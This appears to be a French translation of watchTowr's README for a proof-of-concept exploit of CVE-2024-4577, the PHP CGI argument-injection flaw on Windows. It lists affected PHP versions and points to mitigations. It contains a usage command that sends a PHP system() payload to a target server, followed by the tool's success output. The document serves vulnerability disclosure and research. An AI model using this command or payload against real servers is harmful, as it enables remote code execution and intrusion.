
Injection d'arguments PHP CGI (CVE-2024-4577) PoC d'exécution de code à distance
Une preuve de concept développée par @watchTowr exploitant la vulnérabilité d'injection d'arguments CGI PHP (CVE-2024-4577) pour obtenir une RCE sur une version vulnérable de PHP s'exécutant dans un environnement Windows. Analyse technique détaillée de cette vulnérabilité
Cette vulnérabilité a été découverte par Orange Tsai (@orange_8361) de DEVCORE (@d3vc0r3). Assurez-vous de suivre ses recherches exceptionnelles ; notre rôle a été uniquement de recréer et de développer l'exploit pour ce problème.
python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('calc');?>" -t http://192.168.253.132/test.sina
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-php_cve-2024-4577.py
(*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
- Aliz Hammond, watchTowr ([email protected])
- Sina Kheirkhah (@SinSinology), watchTowr ([email protected])
CVEs: [CVE-2024-4577]
(^_^) prepare for the Pwnage (^_^)
(+) Exploit was successful
D'après l'article de blog original de DEVCORE (@d3vc0r3), cette vulnérabilité affecte toutes les versions de PHP installées sur le système d'exploitation Windows :
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
Étant donné que les branches PHP 8.0, PHP 7 et PHP 5 sont en fin de vie (End-of-Life) et ne sont plus maintenues, les administrateurs de serveurs peuvent se référer à la section « Am I Vulnerable » ICI pour trouver des recommandations de correctifs temporaires dans la section « Mitigation Measure ».
Pour les dernières recherches en sécurité, suivez l'équipe watchTowr Labs.